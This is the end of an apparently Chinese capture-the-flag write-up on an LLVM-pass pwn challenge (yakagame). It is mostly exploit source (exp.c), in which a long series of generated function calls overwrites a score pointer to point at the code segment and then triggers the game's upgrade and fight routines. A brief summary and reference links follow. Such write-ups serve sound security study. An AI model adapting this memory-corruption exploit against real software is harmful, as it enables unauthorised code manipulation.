void fuck075(int unknown){}
void fuck076(int unknown){}
void fuck077(int unknown){}
void fuck078(int unknown){}
void fuck079(int unknown){}
void fuck080(int unknown){}
void fuck081(int unknown){}
void fuck082(int unknown){}
void fuck083(int unknown){}
void fuck084(int unknown){}
void fuck085(int unknown){}
void fuck086(int unknown){}
void fuck087(int unknown){}
void fuck088(int unknown){}
void fuck089(int unknown){}
void fuck090(int unknown){}
void fuck091(int unknown){}
void fuck092(int unknown){}
void fuck093(int unknown){}
void fuck094(int unknown){}
void fuck095(int unknown){}
void fuck096(int unknown){}
void fuck097(int unknown){}
void fuck098(int unknown){}
void fuck099(int unknown){}
void fuck100(int unknown){}
void fuck101(int unknown){}
void fuck102(int unknown){}
void fuck103(int unknown){}
void fuck104(int unknown){}
void fuck105(int unknown){}
void fuck106(int unknown){}
void fuck107(int unknown){}
void fuck108(int unknown){}
void fuck109(int unknown){}
void fuck110(int unknown){}
void fuck111(int unknown){}
void fuck112(int unknown){}
void fuck113(int unknown){}
void fuck114(int unknown){}
void fuck115(int unknown){}
void fuck116(int unknown){}
void fuck117(int unknown){}
void fuck118(int unknown){}
void fuck119(int unknown){}
void fuck120(int unknown){}
void fuck121(int unknown){}
void fuck122(int unknown){}
void fuck123(int unknown){}
void fuck124(int unknown){}
void fuck125(int unknown){}
void fuck126(int unknown){}
void fuck127(int unknown){}
void fuck128(int unknown){}
void fuck129(int unknown){}
void fuck130(int unknown){}
void fuck131(int unknown){}
void fuck132(int unknown){}
void fuck133(int unknown){}
void fuck134(int unknown){}
void fuck135(int unknown){}
void fuck136(int unknown){}
void fuck137(int unknown){}
void fuck138(int unknown){}
void fuck139(int unknown){}
void fuck140(int unknown){}
void fuck141(int unknown){}
void fuck142(int unknown){}
void fuck143(int unknown){}
void fuck144(int unknown){}
void fuck145(int unknown){}
void fuck146(int unknown){}
void fuck147(int unknown){}
void fuck148(int unknown){}
void fuck149(int unknown){}
void fuck150(int unknown){}
void fuck151(int unknown){}
void fuck152(int unknown){}
void fuck153(int unknown){}
void fuck154(int unknown){}
void fuck155(int unknown){}
void fuck156(int unknown){}
void fuck157(int unknown){}
void fuck158(int unknown){}
void fuck159(int unknown){}
void fuck160(int unknown){}
void fuck161(int unknown){}
void fuck162(int unknown){}
void fuck163(int unknown){}
void fuck164(int unknown){}
void fuck165(int unknown){}
void fuck166(int unknown){}
void fuck167(int unknown){}
void fuck168(int unknown){}
void fuck169(int unknown){}
void fuck170(int unknown){}
void fuck171(int unknown){}
void fuck172(int unknown){}
void fuck173(int unknown){}
void fuck174(int unknown){}
void fuck175(int unknown){}
void fuck176(int unknown){}
void fuck177(int unknown){}
void fuck178(int unknown){}
void fuck179(int unknown){}
void fuck180(int unknown){}
void fuck181(int unknown){}
void fuck182(int unknown){}
void fuck183(int unknown){}
void fuck184(int unknown){}
void fuck185(int unknown){}
void fuck186(int unknown){}
void fuck187(int unknown){}
void fuck188(int unknown){}
void fuck189(int unknown){}
void fuck190(int unknown){}
void fuck191(int unknown){}
void fuck192(int unknown){}
void fuck193(int unknown){}
void fuck194(int unknown){}
void fuck195(int unknown){}
void fuck196(int unknown){}
void fuck197(int unknown){}
void fuck198(int unknown){}
void fuck199(int unknown){}
void fuck200(int unknown){}
void fuck201(int unknown){}
void fuck202(int unknown){}
void fuck203(int unknown){}
void fuck204(int unknown){}
void fuck205(int unknown){}
void fuck206(int unknown){}
void fuck207(int unknown){}
void fuck208(int unknown){}
void fuck209(int unknown){}
void fuck210(int unknown){}
void fuck211(int unknown){}
void fuck212(int unknown){}
void fuck213(int unknown){}
void fuck214(int unknown){}
void fuck215(int unknown){}
void fuck216(int unknown){}
void fuck217(int unknown){}
void fuck218(int unknown){}
void fuck219(int unknown){}
void fuck220(int unknown){}
void fuck221(int unknown){}
void fuck222(int unknown){}
void fuck223(int unknown){}
void fuck224(int unknown){}
void fuck225(int unknown){}
void fuck226(int unknown){}
void fuck227(int unknown){}
void fuck228(int unknown){}
void fuck229(int unknown){}
void fuck230(int unknown){}
void fuck231(int unknown){}
void fuck232(int unknown){}
void fuck233(int unknown){}
void fuck234(int unknown){}
void fuck235(int unknown){}
void fuck236(int unknown){}
void fuck237(int unknown){}
void fuck238(int unknown){}
void fuck239(int unknown){}
void fuck240(int unknown){}
void fuck241(int unknown){}
void fuck242(int unknown){}
void fuck243(int unknown){}
void fuck244(int unknown){}
void fuck245(int unknown){}
void fuck246(int unknown){}
void fuck247(int unknown){}
void fuck248(int unknown){}
void fuck249(int unknown){}
void fuck250(int unknown){}
void fuck251(int unknown){}
void fuck252(int unknown){}
void fuck253(int unknown){}
void fuck254(int unknown){}
void fuck255(int unknown){}

void gamestart(){
	tiandongwanxiang();
	wuxiangdeyidao();
	zhanjinniuza();
	guobapenhuo();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	tiandongwanxiang();
	wuxiangdeyidao();
	zhanjinniuza();

	fuck000(233);
	fuck001(233);
	fuck002(233);
	fuck003(233);
	fuck004(233);
	fuck005(233);
	fuck006(233);
	fuck007(233);
	fuck008(233);
	fuck009(233);
	fuck010(233);
	fuck011(233);
	fuck012(233);
	fuck013(233);
	fuck014(233);
	fuck015(233);
	fuck016(233);
	fuck017(233);
	fuck018(233);
	fuck019(233);
	fuck020(233);
	fuck021(233);
	fuck022(233);
	fuck023(233);
	fuck024(233);
	fuck025(233);
	fuck026(233);
	fuck027(233);
	fuck028(233);
	fuck029(233);
	fuck030(233);
	fuck031(233);
	fuck032(233);
	fuck033(233);
	fuck034(233);
	fuck035(233);
	fuck036(233);
	fuck037(233);
	fuck038(233);
	fuck039(233);
	fuck040(233);
	fuck041(233);
	fuck042(233);
	fuck043(233);
	fuck044(233);
	fuck045(233);
	fuck046(233);
	fuck047(233);
	fuck048(233);
	fuck049(233);
	fuck050(233);
	fuck051(233);
	fuck052(233);
	fuck053(233);
	fuck054(233);
	fuck055(233);
	fuck056(233);
	fuck057(233);
	fuck058(233);
	fuck059(233);
	fuck060(233);
	fuck061(233);
	fuck062(233);
	fuck063(233);
	fuck064(233);
	fuck065(233);
	fuck066(233);
	fuck067(233);
	fuck068(233);
	fuck069(233);
	fuck070(233);
	fuck071(233);
	fuck072(233);
	fuck073(233);
	fuck074(233);
	fuck075(233);
	fuck076(233);
	fuck077(233);
	fuck078(233);
	fuck079(233);
	fuck080(233);
	fuck081(233);
	fuck082(233);
	fuck083(233);
	fuck084(233);
	fuck085(233);
	fuck086(233);
	fuck087(233);
	fuck088(233);
	fuck089(233);
	fuck090(233);
	fuck091(233);
	fuck092(233);
	fuck093(233);
	fuck094(233);
	fuck095(233);
	fuck096(233);
	fuck097(233);
	fuck098(233);
	fuck099(233);
	fuck100(233);
	fuck101(233);
	fuck102(233);
	fuck103(233);
	fuck104(233);
	fuck105(233);
	fuck106(233);
	fuck107(233);
	fuck108(233);
	fuck109(233);
	fuck110(233);
	fuck111(233);
	fuck112(233);
	fuck113(233);
	fuck114(233);
	fuck115(233);
	fuck116(233);
	fuck117(233);
	fuck118(233);
	fuck119(233);
	fuck120(233);
	fuck121(233);
	fuck122(233);
	fuck123(233);
	fuck124(233);
	fuck125(233);
	fuck126(233);
	fuck127(233);
	fuck128(233);
	fuck129(233);
	fuck130(233);
	fuck131(233);
	fuck132(233);
	fuck133(233);
	fuck134(233);
	fuck135(233);
	fuck136(233);
	fuck137(233);
	fuck138(233);
	fuck139(233);
	fuck140(233);
	fuck141(233);
	fuck142(233);
	fuck143(233);
	fuck144(233);
	fuck145(233);
	fuck146(233);
	fuck147(233);
	fuck148(233);
	fuck149(233);
	fuck150(233);
	fuck151(233);
	fuck152(233);
	fuck153(233);
	fuck154(233);
	fuck155(233);
	fuck156(233);
	fuck157(233);
	fuck158(233);
	fuck159(233);
	fuck160(233);
	fuck161(233);
	fuck162(233);
	fuck163(233);
	fuck164(233);
	fuck165(233);
	fuck166(233);
	fuck167(233);
	fuck168(233);
	fuck169(233);
	fuck170(233);
	fuck171(233);
	fuck172(233);
	fuck173(233);
	fuck174(233);
	fuck175(233);
	fuck176(233);
	fuck177(233);
	fuck178(233);
	fuck179(233);
	fuck180(233);
	fuck181(233);
	fuck182(233);
	fuck183(233);
	fuck184(233);
	fuck185(233);
	fuck186(233);
	fuck187(233);
	fuck188(233);
	fuck189(233);
	fuck190(233);
	fuck191(233);
	fuck192(233);
	fuck193(233);
	fuck194(233);
	fuck195(233);
	fuck196(233);
	fuck197(233);
	fuck198(233);
	fuck199(233);
	fuck200(233);
	fuck201(233);
	fuck202(233);
	fuck203(233);
	fuck204(233);
	fuck205(233);
	fuck206(233);
	fuck207(233);
	fuck208(233);
	fuck209(233);
	fuck210(233);
	fuck211(233);
	fuck212(233);
	fuck213(233);
	fuck214(233);
	fuck215(233);
	fuck216(233);
	fuck217(233);
	fuck218(233);
	fuck219(233);
	fuck220(233);
	fuck221(233);
	fuck222(233);
	fuck223(233);
	fuck224(233);
	fuck225(233);
	fuck226(233);
	fuck227(233);
	fuck228(233);
	fuck229(233);
	fuck230(233);
	fuck231(233);
	fuck232(233);
	fuck233(233);
	fuck234(233);
	fuck235(233);
	fuck236(233);
	fuck237(233);
	fuck238(233);
	fuck239(233);
	fuck240(0);         //将score处的指针修改为0x400000,指向代码段头部
	fuck241(0);
	fuck242(0x40);
	fuck243(0);
	fuck244(233);
	fuck245(233);
	fuck246(233);
	fuck247(233);
	fuck248(233);
	fuck249(233);
	fuck250(233);
	fuck251(233);
	fuck252(233);
	fuck253(233);
	fuck254(233);
	fuck255(233);
	
	fuck243(0);
	fuck242(0);
	fuck241(0);
	fuck240(0);
	
	upgrade(0xFF);
	fight(0);
}

image-20220830000733081

咱就是说眼睛不要可以捐给需要的人……

总结

我们将这种题转化成一般题目只需要一个步骤——找到runOnFunction,只要找到runOnFunction方法,题目就变成了类似于虚拟机,只不过是指令是C代码的虚拟机。总之就是这种题目其实就只是类型新颖一些,但主要还是考察一些常规漏洞的审计。然后就是构造复杂一些……生成exp.c的时候及时用脚本辅助生成代码。

参考链接

LLVM基本概念入门

【LLVM】如何写一个pass

[原创]LLVM PASS类pwn题入门

2021-CISCN

强网杯2022 pwn 赛题解析——yakagame

评论